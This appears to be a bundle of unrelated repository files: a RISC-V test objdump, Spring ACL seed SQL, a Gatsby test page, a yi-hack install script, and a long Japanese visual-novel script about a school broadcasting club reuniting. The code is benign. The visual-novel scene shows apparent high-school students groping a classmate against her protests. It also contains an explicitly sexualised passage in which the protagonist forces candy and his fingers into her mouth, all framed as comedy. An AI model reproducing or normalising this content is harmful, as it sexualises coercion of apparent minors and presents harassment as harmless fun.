<_end+0xfffde0c> 314: 00532023 sw t0,0(t1) 318: 00000013 nop 31c: 00100193 li gp,1 320: 00000073 ecall 00000324 <end_testcode>: 324: c0001073 unimp ... Disassembly of section .tohost: 00001000 <tohost>: ... 00001100 <fromhost>: ... Disassembly of section .data: 00002000 <begin_signature>: 2000: ffff 0xffff 2002: ffff 0xffff 2004: ffff 0xffff 2006: ffff 0xffff 2008: ffff 0xffff 200a: ffff 0xffff 200c: ffff 0xffff 200e: ffff 0xffff 2010: ffff 0xffff 2012: ffff 0xffff 00002014 <test_2_res>: 2014: ffff 0xffff 2016: ffff 0xffff 2018: ffff 0xffff 201a: ffff 0xffff 201c: ffff 0xffff 201e: ffff 0xffff 2020: ffff 0xffff 2022: ffff 0xffff 2024: ffff 0xffff 2026: ffff 0xffff 00002028 <test_3_res>: 2028: ffff 0xffff 202a: ffff 0xffff 202c: ffff 0xffff 202e: ffff 0xffff 2030: ffff 0xffff 2032: ffff 0xffff 2034: ffff 0xffff 2036: ffff 0xffff 2038: ffff 0xffff 203a: ffff 0xffff 0000203c <test_4_res>: 203c: ffff 0xffff 203e: ffff 0xffff 2040: ffff 0xffff 2042: ffff 0xffff 2044: ffff 0xffff 2046: ffff 0xffff 2048: ffff 0xffff 204a: ffff 0xffff 204c: ffff 0xffff 204e: ffff 0xffff 00002050 <test_5_res>: 2050: ffff 0xffff 2052: ffff 0xffff 2054: ffff 0xffff 2056: ffff 0xffff 2058: ffff 0xffff 205a: ffff 0xffff 205c: ffff 0xffff 205e: ffff 0xffff 2060: ffff 0xffff 2062: ffff 0xffff 00002064 <test_6_res>: 2064: ffff 0xffff 2066: ffff 0xffff 2068: ffff 0xffff 206a: ffff 0xffff 206c: ffff 0xffff 206e: ffff 0xffff 2070: ffff 0xffff 2072: ffff 0xffff 2074: ffff 0xffff 2076: ffff 0xffff 00002078 <test_7_res>: 2078: ffff 0xffff 207a: ffff 0xffff 207c: ffff 0xffff 207e: ffff 0xffff 2080: ffff 0xffff 2082: ffff 0xffff 2084: ffff 0xffff 2086: ffff 0xffff 2088: ffff 0xffff 208a: ffff 0xffff 208c: 0000 unimp ... 00002090 <end_signature>: ... 00002100 <begin_regstate>: 2100: 0080 addi s0,sp,64 ... 00002200 <end_regstate>: 2200: 0004 0x4 ...
ObjDump
4
DuBirdFly/TinyRISCV_Learn
tests/riscv-compliance/build_generated/rv32i/I-SRL-01.elf.objdump
[ "Apache-2.0" ]
INSERT INTO acl_sid (id, principal, sid) VALUES (1, 1, 'manager'), (2, 1, 'hr'), (3, 0, 'ROLE_EDITOR'); INSERT INTO acl_class (id, class) VALUES (1, 'com.baeldung.acl.persistence.entity.NoticeMessage'); INSERT INTO system_message(id,content) VALUES (1,'First Level Message'), (2,'Second Level Message'), (3,'Third Level Message'); INSERT INTO acl_object_identity (id, object_id_class, object_id_identity, parent_object, owner_sid, entries_inheriting) VALUES (1, 1, 1, NULL, 3, 0), (2, 1, 2, NULL, 3, 0), (3, 1, 3, NULL, 3, 0); INSERT INTO acl_entry (id, acl_object_identity, ace_order, sid, mask, granting, audit_success, audit_failure) VALUES (1, 1, 1, 1, 1, 1, 1, 1), (2, 1, 2, 1, 2, 1, 1, 1), (3, 1, 3, 3, 1, 1, 1, 1), (4, 2, 1, 2, 1, 1, 1, 1), (5, 2, 2, 3, 1, 1, 1, 1), (6, 3, 1, 3, 1, 1, 1, 1), (7, 3, 2, 3, 2, 1, 1, 1);
SQL
3
DBatOWL/tutorials
spring-security-modules/spring-security-acl/src/main/resources/acl-data.sql
[ "MIT" ]
import React from "react" import { Link } from "gatsby" import { QueryDataCachesView } from "../../../components/query-data-caches/view" import { useDataForAddingStaticQueryTest } from "../../../components/query-data-caches/adding-static-query-blank" export default function AddingStaticQueryToPageTemplatePageA({ path }) { const data = useDataForAddingStaticQueryTest() return ( <> <QueryDataCachesView data={data} pageType="A" dataType="static-query" path={path} /> <Link to="../page-B" data-testid="page-b-link"> Go to page B </Link> </> ) }
JavaScript
4
pipaliyajaydip/gatsby
e2e-tests/development-runtime/src/pages/query-data-caches/adding-static-query-A-to-B-to-A-link/page-A.js
[ "MIT" ]
#!/bin/bash SCRIPT_DIR=$(cd `dirname $0` && pwd) cd $SCRIPT_DIR mkdir -p ../../build/yi-hack/bin/ || exit 1 rsync -av ./_install/* ../../build/yi-hack/ || exit 1
JSONiq
3
bolt1502/yi-hack
src/jq/install.jq
[ "MIT" ]
label cca0030: call gl(0,"bgcc0000a") call vsp(0,1) with wipeleft pause (500.0/1000.0) pause (1000.0/1000.0) play bgm "bgm/bgm001.ogg" "そして、日曜日。" call gl(0,"bgcc0007f") call vsp(0,1) with wipeleft "屋上。" "すべての準備が整う。" 太一 "「ご苦労様です」" call gl(1,"TCMM0000|TCMM000x") call gp(1,t=center) call vsp(1,1) with dissolve voice "vfcca0030msa000" 見里 "「……ぺけくんも」" "先輩は少し、ぼっとしていた。" "だから俺は告げた。" 太一 "「まだ終わったわけじゃないですよ」" call gl(1,"TCMM0003|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa001" 見里 "「……そうですか?」" 太一 "「この放送局を、ずっと維持していかないと」" call gl(1,"TCMM0000|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa002" 見里 "「……」" voice "vfcca0030msa003" 見里 "「そうですね」" 太一 "「よしなに」" call gl(1,"TCMM0002|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa004" 見里 "「はい」" "握手。" "先輩は工具をまとめて脇に置き、アンテナを見あげた。" call gl(1,"TCMM0000|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa005" 見里 "「放送、できますね」" 太一 "「ええ」" call gl(1,"TCMM0003|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa006" 見里 "「放送したからといって、それですべてうまく行くとは限りませんけど」" "そうだろうと思う。" "でも無意味ではない。" "ただ動いていたかっただけなのだから。" "何かしていなければ、心の均衡が取れなかっただけ。" "俺もまた、そうだ。" "だけど俺の理由は、みんなとは少し違う―――" call gl(1,"TCMM0021|TCMM0021") call vsp(1,1) with dissolve voice "vfcca0030msa007" 見里 "「ぺけくん、原稿はできましたか?」" 太一 "「は、はい、一応……」" "実はできてない。" call gl(1,"TCMM0002|TCMM000x") call vsp(1,1) with dissolve "先輩はにっこりと笑う。" voice "vfcca0030msa008" 見里 "「じゃあ、あなたがDJをやってくださいね」" 太一 "「い?」" call gl(1,"TCMM0000|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa009" 見里 "「今からチェックする時間も、リテイク出す暇もありませんし」" call gl(1,"TCMM0002|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa010" 見里 "「お任せします」" 太一 "「は、はあ」" "かえって好都合かもしれない。" "だって原稿、白紙なんだから。" "適当にでっちあげねば。" voice "vmcca0030yki000" 友貴 "「太一ー、機材運ぶの手伝ってくれる?」" 太一 "「おっけー」" "やってきた友貴が、先輩を一瞥する。" call gl(1,"TCMM0003|TCMM000x") call gl(2,"TCST0000|TCST0000") call gp(1,t=right) call gp(2,t=left) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vfcca0030msa011" 見里 "「……」" voice "vmcca0030yki001" 友貴 "「……」" "視線がそれる。" "以前ほど刺々しくはない。" "今はそれで十分。" "これから、どうしたって顔をあわせて生きていくことになるんだから。" "時間だけはある。嫌になるほど。" call gl(0,"bgcc0023") call vsp(0,1) call vsp(1,0) call vsp(2,0) call vsp(3,0) with Dissolve(500.0/1000.0) "それから俺たちは、機材を運んだ。" "屋上でモニターするためだ。" "初回の放送は屋上から実況するのが、この企画の趣旨だった。" 太一 "「ラバのヤツ、こんな時でも豪快にサボりやがる」" voice "vmcca0030yki002" 友貴 "「……今にはじまったことだろうか」" 太一 "「だな。あのアホウ」" voice "vmcca0030sku000" 桜庭 "「まったくだ」" 太一 "「……」" voice "vmcca0030yki003" 友貴 "「……」" voice "vmcca0030sku001" 桜庭 "「……」" 太一 "「おわっ、桜庭! なぜここに!?」" voice "vmcca0030sku002" 桜庭 "「友情は見返りを―――」" 太一 "「求めない」" "ぐっ" "俺たちは不敵に笑いつつ、親指を立てあった。" voice "vmcca0030yki004" 友貴 "「いや、使いどころ間違っているし」" 太一 "「久々だな、ラバ」" voice "vmcca0030sku003" 桜庭 "「うむ」" voice "vfcca0030fyu000" 冬子 "「……げ、三馬鹿」" 太一 "「お」" "冬子たちが来ていた。" "たち。" "背後に、美希と霧もいる。" voice "vfcca0030mki000" 美希 "「おふぁよーござーまーす!」" "元気に両手をあげて、叫んだ。" "その大声に霧が、眉を寄せて肩をすくめる。" "光景がそこにあった。" "七人の平常という名の。" "失われたはずの。" call gl(0,"bgcc0007f") call gl(1,"TCMM0004|TCMM000x") call gp(1,t=center) call vsp(0,1) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030msa012" 見里 "「ぺけくん、これは?」" "衣服のはしを、先輩はくいくいと引っ張った。" 太一 "「まー、ちょいと手を打ったです」" voice "vfcca0030msa013" 見里 "「手を打ったって……だってぺけくんだって?」" 太一 "「スーパーディレクターですから、そこはうまく」" call gl(1,"TCMM0003|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa014" 見里 "「……」" "先輩は泣きそうな顔をした。" "一分ほど無言だった。" "やがて。" call gl(1,"TCMM0002|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa015" 見里 "「全員集合、ですね」" 太一 "「YES、BOSS」" hide pic1 with dissolve "全員集合。" "この先、こんな機会があるのだろうか。" "いや、この結束をこれから維持していけばいいのだ!" "……なんてな。" "そんなことはできない。" "だから。" "今だけに。" stop bgm "思い出を。" 太一 "「注目」" "片手をあげて皆に呼びかける。" 太一 "「では放送部の再集結を祝って、これよりパン屋を再襲撃します」" play bgm "bgm/bgm006.ogg" call gl(1,"TCST0000|TCST0000") call gp(1,t=center) call vsp(1,1) with dissolve voice "vmcca0030yki005" 友貴 "「なんでだよ」" call gl(2,"TCSH0000|tcsh") call gp(2,t=left) call gp(1,t=right) call vsp(0,1) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku004" 桜庭 "「そう思ってカレーパンを食う準備をしておいた」" voice "vmcca0030yki006" 友貴 "「嘘つくな」" call gl(3,"TCMM0031|TCMM0031") call gp(3,t=center) call vsp(1,0) call vsp(2,0) call vsp(3,1) with Dissolve(500.0/1000.0) voice "vfcca0030msa016" 見里 "「パン屋さんって、あの元ヤクザ崩れの方がやってるとこ(※)ですか? この七人で勝てるんですか?」※田崎商店" 太一 "「あなたも本気で検討しない」" call gl(1,"TCST0000|TCST0000") call gp(1,t=center) call vsp(3,0) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vmcca0030yki007" 友貴 "「でも揃うのは確かに久しぶりだね」" call gl(2,"TCKT0001|TCKT000x") call gp(1,t=left) call gp(2,t=right) call vsp(0,1) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vfcca0030fyu001" 冬子 "「……どうして私を見るのよ」" call gl(3,"TCSH0000|tcsh") call gp(3,t=center) call vsp(3,1) call vsp(2,0) call vsp(1,0) call vsp(0,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku005" 桜庭 "「それは貴様が部活に全然出ようとしない裏切り者だからだ」" 太一 "「おまえが言うな」" voice "vmcca0030yki008" 友貴 "「おまえが言うな」" play se "se037" hide pic3 with dissolve with vpunch "殺傷力の高い一本拳によるツッコミ(暴力)が時間差で入る。" play se "se038" with vpunch "無言で桜庭は沈んだ。" "ちなみに男三人衆の役割分担は、" extend "桜庭=ボケ" extend "友貴=ツッコミ" "太一=オールラウンダー" "となっている。" 太一 "「彼女の心を解きほぐしたのは俺だ。愛の力なのだ」" call gl(0,"evcc0008") call vsp(0,1) call vsp(1,0) call vsp(2,0) call vsp(3,0) with Dissolve(500.0/1000.0) voice "vfcca0030fyu002" 冬子 "「抱きつくな!」" with vpunch voice "vmcca0030yki009" 友貴 "「……本気で嫌がってるよ?」" 太一 "「でも体は正直なんだ」" voice "vfcca0030fyu003" 冬子 "「煮るわよ!」" "ひじうちがゴスゴス頭部に入るけど気にしない。" voice "vfcca0030mki001" 美希 "「桐原先輩っ!」" "美希が冬子の尻に抱きついた。" voice "vfcca0030fyu004" 冬子 "「うやあっ!?」" "オクターブ高い悲鳴があがる。" "美希は尻をもみしだく。" voice "vfcca0030fyu005" 冬子 "「や、やめてよ山辺!」" voice "vfcca0030mki002" 美希 "「やわらかい……やわらかすぎて……」" 太一 "「桐原、君はルックスだけは最高だ!」" "冬子の顔が引きつる。" voice "vfcca0030fyu006" 冬子 "「離して! 触らないでよっ!」" voice "vfcca0030mki003" 美希 "「せんぱ~い」" voice "vmcca0030yki010" 友貴 "「セクハラ集団だな」" voice "vmcca0030sku006" 桜庭 "「ああ」" voice "vfcca0030fyu007" 冬子 "「見てないでなんとかしてよ!」" voice "vmcca0030sku007" 桜庭 "「民事不介入だぜ」" voice "vfcca0030fyu008" 冬子 "「警察か!」" voice "vfcca0030msa017" 見里 "「桐原さん、体調の方はもういいんですか?」" voice "vfcca0030fyu009" 冬子 "「普通に会話する前に、まずこの猿二匹をどうか」" voice "vfcca0030msa018" 見里 "「でもその子たち本能で生きてるのでどうにもなりませんから」" voice "vfcca0030fyu010" 冬子 "「なごやかに言われても……って、ちょっとどこ触ってんのよっ!?」" voice "vfcca0030fyu011" 冬子 "「あっ、やんっ、ちょ……もうやめてよー!」" "泣き出す。" 太一 "「あ……」" voice "vfcca0030mki004" 美希 "「あ……」" call gl(0,"bgcc0007f") call vsp(0,1) with Dissolve(500.0/1000.0) "慌てて離れる。" voice "vmcca0030sku008" 桜庭 "「ぐすっ」" 太一 "「どうしておまえが泣くんだよ!」" call gl(1,"TCSH0002|tcsh") call vsp(0,1) call vsp(1,1) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vmcca0030sku009" 桜庭 "「だって桐原、泣いてるぜ?」" call gl(2,"TCYM0004|TCYM0002") call vsp(1,1) call vsp(2,1) call gp(2,t=right) call gp(1,t=left) with Dissolve(500.0/1000.0) voice "vfcca0030mki005" 美希 "「もらい泣きですね」" call gl(1,"TCSH0003|tcsh") call vsp(1,1) with dissolve voice "vmcca0030sku010" 桜庭 "「超切ない」" call gl(3,"tcst0000|TCST0000") call vsp(1,0) call vsp(2,0) call vsp(3,1) call gp(3,t=center) with Dissolve(500.0/1000.0) voice "vmcca0030yki011" 友貴 "「てんそ(天然素材)なんだって」" hide pic3 with dissolve 太一 "「とにかくごめん、桐原」" call gl(1,"TCKT0002|TCKT000x") call vsp(1,1) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vfcca0030fyu012" 冬子 "「…………ばか……じゃないの」" play se "se003" with vpunch "平手で背中を叩かれた。" hide pic1 with dissolve 太一 "「いってぇ!」" "鞭みたいな痛さだった。" "まあ当然の報いか……。" call gl(1,"TCSK0002|TCSK000x") call vsp(1,1) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vfcca0030kri000" 霧 "「……はあ」" hide pic1 with dissolve "霧がそっぽを向いて、ため息をついた。" 太一 "「ほら、飴あげるから」" call gl(1,"TCKT0000|TCKT000x") call vsp(1,1) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vfcca0030fyu013" 冬子 "「……イラナイ」" "顎をつかんで、強引に飴を押し込む。指ごと。" call gl(1,"TCKT0004|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu014" 冬子 "「んんんんっ!?」" 太一 "「ママの味をくらうがよい」" "逃げようとするが、顎をつかんで離さない。" voice "vfcca0030fyu015" 冬子 "「んっ……んむっ、んっ、れろっ……」" 太一 "「ひとーつ、ふたーつ……さあて、この可愛らしい穴にいくつ入るかな~?」" voice "vfcca0030fyu016" 冬子 "「んんっ、んむっ、んん、ん……ふっ……ん……」" 太一 "「イヤだったら、指ごと噛みきってもいいんだぞ?」" "ぼんやりと開く目に、かすかな敵意がある。" "が、口内をかきまわし、舌を絡め取って引っ張ると、ぎゅっとまぶたを閉じた。" "冬子は口の中が敏感らしい。" 太一 "「みーっつ、よーっつ……クックックック、そぉらそらそら」" "根本まで押し込んで蹂躙を尽くす。" voice "vfcca0030fyu017" 冬子 "「んくっ、ん、れる……んふっ、んんん……~~~っっ」" hide pic1 with dissolve 太一 "「クックック、甘いだろう?」" call gl(1,"TCMM0007|TCMM0007") call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030msa019" 見里 "「あわわわわ」" call gl(1,"TCYM0001|TCYM0000") call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030mki006" 美希 "「エロエロエッサイムエロエロエッサエム……」" call gl(1,"TCST0001|TCST0001") call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vmcca0030yki012" 友貴 "「た、たいちぃ、そんなことしたらダメだよぅ、えっちすぎるよぅ(小児化)」" call gl(1,"TCSK0003|TCSK0003") call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030kri001" 霧 "「だ、だから……この人は危険だって……わたしは……」" call gl(1,"TCSH0002|tcsh") call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku011" 桜庭 "「俺的にはギブミーキャンディの一点、それだけだ」" hide pic1 with dissolve "一人をのぞき、全員がガクガク震えていた。" 太一 "「クックック……はっ!?」" "謝るつもりがイジメになってる!?" 太一 "「あ、ごめんごめん」" "解放してやる。" "ぬるりと指が抜ける。唾液が糸を引く。" call gl(1,"tckt0001|TCKT000x") call gp(1,t=center) call vsp(1,1) with dissolve voice "vfcca0030fyu018" 冬子 "「……ん、あんっ……」" "よろめきつつ距離を取る冬子。" 太一 "「まーとにかく、糖分を摂取して元気に生きてくれ」" voice "vfcca0030fyu019" 冬子 "「はぁ、はぁ……」" "しばしぼんやりとしていたが、我に返ってキッと俺を睨んだ。" "リスみたいに口をあめ玉でいっぱいにしながら。" call gl(1,"TCKT0003|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu020" 冬子 "「……ばかっ……ばか太一っ」" call gl(2,"TCYM0000|TCYM0000") call gp(2,t=center) call vsp(0,1) call vsp(1,0) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vfcca0030mki007" 美希 "「言い返せないですね」" 太一 "「うむ」" call gl(1,"TCSK0011|TCSK0011") call gp(1,t=left) call gp(2,t=right) call vsp(0,1) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vfcca0030kri002" 霧 "「……子供集団」" call gl(3,"TCMM0000|TCMM000x") call gp(3,t=center) call vsp(1,0) call vsp(2,0) call vsp(3,1) with Dissolve(500.0/1000.0) voice "vfcca0030msa020" 見里 "「はいはい、レクリエーションはそこまで」" "パンパンと手を叩く先輩。" call gl(1,"TCKT0002|TCKT000x") call gp(1,t=center) call vsp(3,0) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030fyu021" 冬子 "「……レクリエーションじゃなくて……セクハラ」" "スルーされた。" stop bgm voice "vfcca0030msa021" 見里 "「佐倉さん、桐原さん」" "疎遠組の二人に呼びかける。" call gl(1,"TCKT0002|TCKT000x") call gl(2,"TCSK0000|TCSK000x") call gp(2,t=left) call gp(1,t=right) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vfcca0030kri003" 霧 "「なんです?」" voice "vfcca0030msa022" 見里 "「せっかくですから、改めて一緒にどうですか?」" voice "vfcca0030fyu022" 冬子 "「……」" voice "vfcca0030msa023" 見里 "「部活といってもたいした作業もありませんし、ただ見物していくだけでも暇つぶしにはなるでしょう?」" play bgm "bgm/bgm004.ogg" "霧と冬子。" "二人は互いに、軽く目線を交差させた。" "この二人の立ち位置は、それぞれ微妙に違う。" call gl(2,"TCSK0003|TCSK0003") call vsp(2,1) with dissolve voice "vfcca0030kri004" 霧 "「わたしは」" call gl(2,"TCSK0000|TCSK000x") call vsp(2,1) with dissolve voice "vfcca0030kri005" 霧 "「わたしは、美希に呼ばれただけですから」" voice "vfcca0030msa024" 見里 "「だめですか?」" voice "vfcca0030mki008" 美希 "「霧ちん……」" voice "vfcca0030kri006" 霧 "「……美希が帰るまで同行するだけです」" voice "vfcca0030mki009" 美希 "「あは」" "空気が緩和する。片方だけ。" call gp(1,t=center) call vsp(1,1) call vsp(2,0) with Dissolve(500.0/1000.0) "もう片方はと言うと、なお渋面のまま止まったまま。" "あめ玉が詰められた口を手で押さえて、言葉を紡ぐ。" call gl(1,"TCKT0002|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu023" 冬子 "「支倉先輩が来いって言うから来たんです!」" voice "vfcca0030fyu024" 冬子 "「けど……いないみたいですから……」" hide pic1 with dissolve "帰ろうとする。" "腕をつかむ。" 太一 "「あのね、それ俺」" call gl(1,"TCKT0004|TCKT000x") call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030fyu025" 冬子 "「はあ?」" 太一 "「自分の名前じゃ来ないかなーと思って」" call gl(1,"TCKT0002|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu026" 冬子 "「帰る」" 太一 "「まあまあ」" call gl(1,"TCKT0003|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu027" 冬子 "「あんたに呼ばれたんだったら最初から来なかった!」" 太一 "「そう怒らんと」" call gl(1,"TCKT0002|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu028" 冬子 "「いっつもそうやって都合良く振るまって! あのときだって!」" call gl(1,"TCKT0003|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu029" 冬子 "「人のことからかって馬鹿にして、ただ玩具にして、あんたは楽しいでしょうよ! けどこっちの気持ちくらい少しは考えたらどうなの!? 自分が傷つかないからって人もそうだなんて思われたら迷惑よ!!」" voice "vfcca0030mki010" 美希 "「チワーが……」" "※チワー=美希語。痴話げんかの意。" voice "vmcca0030yki013" 友貴 "「止めないの?」" voice "vmcca0030sku012" 桜庭 "「あめ玉を所望する、太一」" voice "vfcca0030msa025" 見里 "「相変わらずですねぇ、桜庭君」" voice "vfcca0030kri007" 霧 "「部長が止めるしかないような気がします」" voice "vfcca0030msa026" 見里 "「そ、そうね」" voice "vfcca0030msa027" 見里 "「えっと……」" voice "vfcca0030msa028" 見里 "「こらあ」" voice "vfcca0030fyu030" 冬子 "「○&□%▽×◇$#っっっ!!」" voice "vmcca0030sku013" 桜庭 "「効果0とお見受けします」" voice "vfcca0030msa029" 見里 "「ぐ……」" "ダメだ。自力で収拾するしかないらしい。" 太一 "「冬子」" voice "vfcca0030fyu031" 冬子 "「なによ!」" 太一 "「俺は、おまえの怒った顔が好きなんだよ」" call gl(1,"TCKT0001|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu032" 冬子 "「ナニ、イッテンノ?」" 太一 "「だからこれからも仲良くケンカしようじゃないか」" voice "vfcca0030fyu033" 冬子 "「……………………」" "はーっと虚脱する冬子。" call gl(1,"TCKT0002|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu034" 冬子 "「……もういい。疲れた」" 太一 "「わかってくれたか」" call gl(1,"TCKT0000|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu035" 冬子 "「疲れたって言ったの。さっさと部活はじめたら?」" 太一 "「帰るなよ」" call gl(1,"TCKT0002|TCKT000x") call vsp(1,1) with dissolve voice "vfcca0030fyu036" 冬子 "「……好きにすれば」" "肯定と理解。" "手を引いて、皆の元に。" "冬子はうつむいたまま、何も言わなかった。" call gl(2,"TCMM0000|TCMM000x") call gp(2,t=center) call vsp(1,0) call vsp(2,1) with Dissolve(500.0/1000.0) 太一 "「隊長、なんとかかんとか、失われた日常の再現に成功いたしました」" voice "vfcca0030msa030" 見里 "「は?」" 太一 "「もとい、ツギハギだらけですが人間関係の修復を終えました」" call gl(2,"TCMM0005|TCMM000x") call vsp(2,1) with dissolve voice "vfcca0030msa031" 見里 "「は、はあ」" "釈然としない顔。" "当然か。彼女たちにはそれぞれ、また異なる視点があるのだから。" call gl(2,"TCMM0000|TCMM000x") call vsp(2,1) with dissolve voice "vfcca0030msa032" 見里 "「とにかく、久しぶりに勢揃いということですね」" 太一 "「イエッサー」" "七人の空気が、懐かしい。" "部活のはじまりだった。" voice "vfcca0030msa033" 見里 "「ぺけくん、準備お願いしてもいいですか?」" 太一 "「はい、お任せを」" call vsp(2,0) with Dissolve(500.0/1000.0) 太一 "「その前に、トイレに行って小さい方を」" voice "vfcca0030fyu037" 冬子 "「黙って行きなさいよ、ばか」" 太一 "「ふーんだ」" "あとでまたハラスメントしてやる。" voice "vmcca0030sku014" 桜庭 "「あとでハラスメントして気をハラスとか思っているな?」" 太一 "「そ、そこまで思ってへんっ!」" stop bgm call gl(0,"bgcc0000d") call vsp(0,1) with wipeleft pause (500.0/1000.0) pause (500.0/1000.0) call gl(0,"bgcc0008") call vsp(0,1) with wipeleft 太一 "「ふいー」" "腹いせに女子トイレを使ってやったわ。" "しかも冬子がいつも使ってる個室だ。" 太一 "「ふふん」" "勝ち誇りつつ、汲みおきの水で手を洗う。" "鏡に、彼女が映っていた。" "手が止まる。" call gl(0,"evcc0009") call vsp(0,1) with Dissolve(500.0/1000.0) play bgm "bgm/bgm015.ogg" 太一 "「曜子ちゃん?」" 曜子 "「……」" 太一 "「学校、来てたんだね。あいもかわらず神出鬼没で」" voice "vfcca0030you001" 曜子 "「部活ごっこ、楽しい?」" "返答があるとは思ってなかったので、驚いた。" 太一 "「……部活ごっこじゃなくて部活だけど」" voice "vfcca0030you002" 曜子 "「でも、意味ない」" 太一 "「んなことない」" 太一 "「たいそう意味があることだよ。俺のためにも、みんなのためにも」" "笑う。" "そう、部活は実に有意義だ。" 曜子 "「……」" 太一 "「家でじっとしてられない性格なんだよ」" 太一 "「で、そんな皮肉を言うためにわざわざ?」" voice "vfcca0030you004" 曜子 "「皮肉なんて……言ってない……」" "声がしおれる。" 太一 "「制服まで着ちゃって」" 太一 "「せっかくだし参加してく?」" 曜子 "「……」" 太一 "「部活だよ。これから放送するんだ」" voice "vfcca0030you006" 曜子 "「あんなおもちゃじゃ、何もできない」" 太一 "「もちろん気休めだよ」" voice "vfcca0030you007" 曜子 "「意味がない」" 太一 "「気休めって意味がある」" voice "vfcca0030you008" 曜子 "「……遠慮する」" 太一 "「俺がお願い参加してってすがりついたら?」" voice "vfcca0030you009" 曜子 "「行く」" "簡単だった。" 太一 "「……」(思案)" 太一 "「今履いてるパンツくれっておねだりしたら?」" "彼女はスカートの中に手を入れた。" 太一 "「あー、やっぱいーや」" 曜子 "「……」" "彼女の動きが止まる。" "鬼畜ゲームの主人公ですか俺は。" 太一 "「じゃあ……遠くでいいから、見ていきなよ。君は人間嫌いなんだろうけどさ」" voice "vfcca0030you011" 曜子 "「嫌いじゃない……興味ないだけ」" "淡々と言う。" "これでも、一生懸命無理して喋ってるのだ。" "他の人間には、時に必要なことさえ告げようとしない。" 太一 "「でもせっかくのイベントなんだから、一緒に参加してってもいいだろう?」" voice "vfcca0030you012" 曜子 "「……ん」" call gl(0,"bgcc0000d") call vsp(0,1) call vsp(1,0) with Dissolve(500.0/1000.0) "小さく頷くと、彼女はトイレから出ていった。" stop bgm 太一 "「しかし」" "女子トイレに入ったって、よく気づいたな……。" "さすがスーパーくの一。" "トイレを出る。" call gl(0,"bgcc0008") call vsp(0,1) with wipeleft 太一 "「ところで女って字を分解して『くの一』って呼ぶってご存じでしたか?」" call gl(1,"TCYM0000|TCYM0000") call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030mki011" 美希 "「初耳っす。じゃ」" call vsp(1,0) with Dissolve(500.0/1000.0) "とすれ違いにトイレに入っていく。" play bgm "bgm/bgm011.ogg" 太一 "「あの……女子トイレに入ってたことはどうかナイショに」" "すがりついた。" call gl(1,"TCYM0003|TCYM0003") call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030mki012" 美希 "「そーですねー、どーしようかなー」" 太一 "「特に桐原にだけは」" call gl(1,"TCYM0021|TCYM0021") call vsp(1,1) with dissolve voice "vfcca0030mki013" 美希 "「じゃー霧ちんには言ってもいいんですね?」" 太一 "「ああん、それもダメェ~」" "我が校屈指の二大冷血女じゃないですか。" call gl(1,"TCYM0003|TCYM0003") call vsp(1,1) with dissolve voice "vfcca0030mki014" 美希 "「美希、ナタデココ食べたーい」" 太一 "「か、寒天で良ければ」" call gl(1,"TCYM0011|TCYM0011") call vsp(1,1) with dissolve voice "vfcca0030mki015" 美希 "「それじゃあこの口はペペラペラと開いてしまいそうですなぁ~」" stop bgm 太一 "「お慈悲!」" call gl(0,"bgcc0000d") call vsp(0,1) call vsp(1,0) with wipeleft pause (500.0/1000.0) pause (500.0/1000.0) call gl(0,"bgcc0007f") call vsp(0,1) call vsp(1,0) with wipeleft 太一 "「どもども」" voice "vfcca0030msa034" 見里 "「ちょうど準備ができましたよ~」" 太一 "「この激スーパーカリスマDJの出番ですね」" call gl(2,"TCSH0003|tcsh") call gp(2,t=center) call vsp(2,1) with dissolve voice "vmcca0030sku015" 桜庭 "「スーパーカリと言うと即ち……」" 太一 "「セヤッ!」" play se "se003" "後ろ回し蹴り。" with vpunch voice "vmcca0030sku016" 桜庭 "「ぐふっ」" hide pic2 with dissolve play bgm "bgm/bgm011.ogg" play se "se038" with vpunch 太一 "「娘っ子たちの前でそういうこと言うんでねぇっ!!」" call gl(3,"TCST0003|TCST0000") call gp(3,t=center) call vsp(3,1) with dissolve voice "vmcca0030yki014" 友貴 "「もうみんな知ってるって」" call gl(2,"TCSH0002|tcsh") call gp(2,t=left) call gp(3,t=right) call vsp(2,1) call vsp(3,1) with 